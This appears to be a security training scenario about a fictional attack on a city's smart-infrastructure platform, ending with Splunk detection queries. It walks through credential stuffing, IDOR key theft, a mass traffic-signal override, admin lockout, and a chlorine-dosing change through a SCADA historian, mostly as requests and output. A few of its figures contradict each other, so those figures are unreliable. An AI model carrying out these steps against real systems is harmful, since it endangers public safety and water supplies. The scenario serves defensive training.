SC-062: Smart City Infrastructure Attack¶

# ULF reconnaissance (reconstructed from seized chat logs)

# Public sources mined:
# 1. MetroVille City Council meeting minutes (2024-2025)
#    - Approved $47M "SmartMetro" initiative with vendor "CityMind Systems"
#    - Deployment: 14,000 IoT devices — traffic signals, water sensors,
#      energy meters, waste bins, air quality monitors
#    - Platform: CityMind Nexus v3.2 (centralized IoT management)
#    - Architecture: Single portal at iot-portal.metroville.example.com
#
# 2. CityMind Systems job postings (LinkedIn)
#    - "SCADA Integration Engineer — MetroVille deployment"
#    - Required: experience with Modbus TCP, DNP3, OPC-UA
#    - Mentioned: "integration with existing Siemens PCS 7 water treatment"
#
# 3. MetroVille employee breach (2024, dark web)
#    - Database: 12,847 municipal employee accounts
#    - Fields: email, bcrypt-hashed password, department, role
#    - ULF cracked 2,100 passwords; cross-referenced with IoT portal

# Credential stuffing preparation
# Target: iot-portal.metroville.example.com
# Method: low-and-slow credential stuffing via residential proxies
# Rate: 3 attempts per minute per proxy, 50 proxies rotating
# Duration: 4 hours
# Results: 3 valid accounts found
#   - j.martinez@metroville.example.com (Traffic Operations)
#   - r.chen@metroville.example.com (Utilities Department)
#   - s.patel@metroville.example.com (IT Infrastructure)

# IoT Portal access — CityMind Nexus v3.2

# Login with compromised credential
POST /api/v2/auth/login HTTP/1.1
Host: iot-portal.metroville.example.com
Content-Type: application/json

{
  "username": "j.martinez@metroville.example.com",
  "password": "M@rt1n3z_2024!",    ← Synthetic credential (reused from breach)
  "mfa_token": ""                    ← MFA not enforced on municipal accounts
}

# Response: 200 OK
# Session token: eyJhbGciOiJIUzI1NiIs...REDACTED
# Role: traffic_operator (limited access)

# Portal enumeration — device inventory accessible to traffic_operator role
GET /api/v2/devices?page=1&limit=100&sort=type HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...REDACTED

# Device inventory summary:
# Traffic Signal Controllers:    2,847 devices (Siemens ITC-2, firmware v6.1)
# Water Quality Sensors:           340 devices (AquaSense Pro)
# Water Treatment PLCs:             12 devices (Siemens S7-1500)
# Energy Smart Meters:           8,200 devices (Itron OpenWay)
# Waste Bin Sensors:              1,450 devices (BigBelly IoT)
# Air Quality Monitors:            890 devices (PurpleAir PA-II)
# CCTV Cameras:                    261 devices (Axis P3245-LV)

# IDOR exploitation in CityMind Nexus API

# Normal request (traffic_operator role):
GET /api/v2/users/profile/1247 HTTP/1.1
# Returns: j.martinez profile (own account)

# IDOR test — accessing admin user profile:
GET /api/v2/users/profile/1 HTTP/1.1
# Returns: admin@metroville.example.com profile
# Includes: API key with admin privileges

# Admin API key extracted:
# X-API-Key: cmn_admin_a7b3c1d4e5f6789012345678_REDACTED

# Verify admin access:
GET /api/v2/admin/system/status HTTP/1.1
X-API-Key: cmn_admin_a7b3c1d4e5f6789012345678_REDACTED

# Response: Full admin dashboard access
# {
#   "platform": "CityMind Nexus v3.2.1",
#   "total_devices": 14038,
#   "active_devices": 13847,
#   "subsystems": [
#     {"name": "Traffic Management", "status": "online", "devices": 2847},
#     {"name": "Water Treatment",    "status": "online", "devices": 352},
#     {"name": "Energy Management",  "status": "online", "devices": 8200},
#     {"name": "Waste Management",   "status": "online", "devices": 1450},
#     {"name": "Environmental",      "status": "online", "devices": 890},
#     {"name": "Surveillance",       "status": "online", "devices": 261}
#   ],
#   "scada_integration": "enabled",
#   "scada_gateway": "172.16.1.1"  ← Water treatment SCADA gateway visible
# }

# Traffic signal controller mass configuration change
# CityMind Nexus provides centralized management of all traffic controllers

# Step 1: Query all traffic signal controllers
GET /api/v2/subsystems/traffic/controllers?status=online HTTP/1.1
X-API-Key: cmn_admin_a7b3c1d4e5f6789012345678_REDACTED
# Returns: 2,847 online controllers

# Step 2: Push configuration change — all signals to flashing red
# This is a valid emergency mode used during power outages/disasters
POST /api/v2/subsystems/traffic/controllers/bulk-command HTTP/1.1
X-API-Key: cmn_admin_a7b3c1d4e5f6789012345678_REDACTED
Content-Type: application/json

{
  "target": "ALL_ONLINE",
  "command": "SET_MODE",
  "parameters": {
    "mode": "FLASH_ALL_RED",
    "duration_minutes": 0,       ← 0 = indefinite
    "override_schedule": true,
    "disable_remote_recovery": true,  ← Prevents remote restoration
    "reason": "EMERGENCY_OVERRIDE"
  },
  "authentication": {
    "admin_key": "cmn_admin_a7b3c1d4e5f6789012345678_REDACTED",
    "confirmation": "CONFIRM_BULK_OVERRIDE"
  }
}

# Response: 200 OK
# {
#   "status": "EXECUTING",
#   "controllers_targeted": 2847,
#   "controllers_acknowledged": 2831,
#   "controllers_failed": 16,       ← 16 controllers offline/unreachable
#   "estimated_completion": "120 seconds"
# }

# Step 3: Lock out other administrators
PUT /api/v2/admin/users/bulk-update HTTP/1.1
X-API-Key: cmn_admin_a7b3c1d4e5f6789012345678_REDACTED
Content-Type: application/json

{
  "filter": {"role": ["admin", "traffic_admin"]},
  "action": "DISABLE",
  "exclude_api_keys": ["cmn_admin_a7b3c1d4e5f6789012345678_REDACTED"]
}

# Impact: All traffic signals in MetroVille enter flashing red mode
# - 2,831 intersections simultaneously switch to all-way flashing red
# - Traffic flow capacity drops ~75% city-wide
# - Emergency vehicle response times increase from 7 min avg to 23 min avg
# - 47 minor traffic accidents in first 2 hours
# - Hospital emergency departments report 3x normal volume

# SCADA gateway discovery and access
# The CityMind platform integrates with water treatment SCADA via OPC-UA gateway

# Portal configuration revealed SCADA gateway details:
GET /api/v2/subsystems/water/scada-config HTTP/1.1
X-API-Key: cmn_admin_a7b3c1d4e5f6789012345678_REDACTED

# Response:
# {
#   "gateway_ip": "172.16.1.1",
#   "protocol": "OPC-UA",
#   "port": 4840,
#   "authentication": "certificate",
#   "historian_ip": "172.16.1.10",
#   "historian_port": 3389,           ← RDP accessible!
#   "historian_type": "Siemens WinCC OA",
#   "connection_status": "active"
# }

# The SCADA historian (172.16.1.10) has RDP exposed to the management VLAN
# ULF discovers default credentials on the historian

# RDP connection to SCADA historian
# Target: 172.16.1.10:3389
# Username: WinCCAdmin
# Password: WinCC@2023!     ← Default vendor password never changed (synthetic)

# Historian provides read/write access to the following SCADA points:
# Water Treatment Plant — North Station
#   - Chlorine dosing pump speed (0-100%)
#   - Chlorine residual sensor (mg/L)
#   - pH adjustment pump speed (0-100%)
#   - Turbidity sensor (NTU)
#   - Flow rate (ML/day)
#   - Reservoir level (meters)
#
# Water Treatment Plant — South Station
#   - [Similar SCADA points]

# Water treatment parameter manipulation via SCADA historian HMI
# ULF modifies chlorine dosing setpoint at North Station

# Current operational parameters (before manipulation):
# Chlorine dosing setpoint: 2.0 mg/L (normal range: 1.5 - 3.0 mg/L)
# Chlorine residual actual: 2.1 mg/L
# pH: 7.2 (normal range: 6.5 - 8.5)
# Turbidity: 0.3 NTU (normal: < 1.0 NTU)
# Flow rate: 145 ML/day

# ULF modification via WinCC OA HMI:
# Setpoint change: Chlorine dosing 2.0 mg/L → 4.8 mg/L
# This is above the WHO guideline maximum of 5.0 mg/L
# At 4.8 mg/L, water has strong chlorine taste/smell but is not immediately dangerous
# ULF intentionally stayed below lethal levels (stated goal: demonstrate risk, not harm)

# SCADA command sequence (reconstructed from historian logs):
[2026-01-21 03:15:22 UTC] WRITE TAG: NorthStation.ChlorineDose.Setpoint = 4.8
[2026-01-21 03:15:22 UTC] SOURCE: WinCCAdmin@HISTORIAN-01 (172.16.1.10)
[2026-01-21 03:15:23 UTC] PLC RESPONSE: S7-1500-NORTH ACK — setpoint accepted
[2026-01-21 03:15:30 UTC] PUMP RESPONSE: Chlorine pump speed increased 42% → 100%
[2026-01-21 03:17:00 UTC] SENSOR: Chlorine residual rising — 2.1 → 2.8 mg/L
[2026-01-21 03:20:00 UTC] SENSOR: Chlorine residual — 3.4 mg/L
[2026-01-21 03:25:00 UTC] SENSOR: Chlorine residual — 4.1 mg/L (HIGH ALARM triggered)
[2026-01-21 03:30:00 UTC] SENSOR: Chlorine residual — 4.6 mg/L (HIGH-HIGH ALARM triggered)

# Safety system response:
# The Siemens S7-1500 PLC has a hardcoded safety limit of 5.5 mg/L
# If chlorine residual reaches 5.5 mg/L, the PLC automatically:
# 1. Shuts down chlorine dosing pump
# 2. Opens emergency dilution valve
# 3. Triggers hardwired alarm to plant control room
# ULF's setpoint of 4.8 mg/L was calculated to stay below this safety cutoff

# The HIGH-HIGH alarm at 4.1 mg/L was detected by the night-shift operator
# at 03:30 UTC, approximately 15 minutes after the manipulation began

# MetroVille public website defacement
# Concurrent with infrastructure attacks, ULF defaced the city website

# Target: www.metroville.example.com (WordPress 6.4)
# Method: Reused admin credentials from IoT portal breach
# (Same single sign-on domain — metroville.example.com)

# Defacement content (ULF manifesto excerpt):
# "CITIZENS OF METROVILLE:
#  Your city's 'smart' infrastructure is a single point of failure.
#  Tonight, we demonstrated that ONE vulnerability in ONE vendor portal
#  controls your traffic lights, your water supply, your surveillance cameras.
#
#  We could have caused real harm. We chose not to.
#  The chlorine stayed below dangerous levels. The traffic went to safe mode.
#
#  But the next attackers may not be so considerate.
#
#  DEMAND: Decentralize your infrastructure. End the CityMind monopoly.
#  DEMAND: Open-source security audits for all public infrastructure.
#  DEMAND: Citizen oversight of smart city surveillance systems.
#
#  — URBAN LIBERATION FRONT"

# Evidence published:
# - Screenshots of IoT portal admin dashboard
# - Traffic controller command logs
# - SCADA HMI screenshots (water treatment parameters)
# - List of 14,000 connected devices (device IDs redacted by ULF)

index=iot_platform sourcetype=api_access
| where uri_path="/api/v2/users/profile/*"
| eval accessed_user_id=mvindex(split(uri_path, "/"), -1)
| eval own_profile=if(accessed_user_id=user_id, 1, 0)
| where own_profile=0
| stats count AS access_count,
        dc(accessed_user_id) AS unique_profiles_accessed,
        values(accessed_user_id) AS profiles_list
        by user, src_ip, _time span=1h
| where unique_profiles_accessed > 5
| eval alert_severity=case(
    unique_profiles_accessed > 50, "Critical",
    unique_profiles_accessed > 20, "High",
    true(), "Medium")
| table _time, user, src_ip, access_count,
        unique_profiles_accessed, alert_severity

index=network sourcetype=firewall
| where src_subnet="10.100.0.0/16" AND dest_subnet="172.16.0.0/16"
| eval traffic_type=case(
    dest_port=4840, "OPC-UA",
    dest_port=3389, "RDP",
    dest_port=502, "Modbus",
    dest_port=20000, "DNP3",
    true(), "Other")
| stats count by src_ip, dest_ip, dest_port, traffic_type, _time span=5m
| where traffic_type IN ("RDP", "Modbus", "DNP3")
    OR (traffic_type="OPC-UA" AND src_ip!="10.100.1.1")
| eval alert_severity="Critical"
| table _time, src_ip, dest_ip, traffic_type, dest_port, count, alert_severity

index=scada sourcetype=alarm_log plant="NorthStation"
| where alarm_priority IN ("HIGH", "HIGH-HIGH", "CRITICAL")
| where parameter IN ("ChlorineDose", "ChlorineResidual", "pH", "Turbidity")
| transaction parameter maxspan=30m
| eval escalation_time=duration
| eval concurrent_alarms=mvcount(alarm_priority)
| where concurrent_alarms > 1 OR alarm_priority="HIGH-HIGH"
| join type=left parameter [
    search index=scada sourcetype=setpoint_change
    | where _time > relative_time(now(), "-1h")
    | table _time, parameter, previous_value, new_value, operator, source_ip
]
| eval is_attack=if(isnotnull(source_ip) AND source_ip!="172.16.1.5", 1, 0)
| table _time, parameter, alarm_priority, escalation_time,
        previous_value, new_value, operator, source_ip, is_attack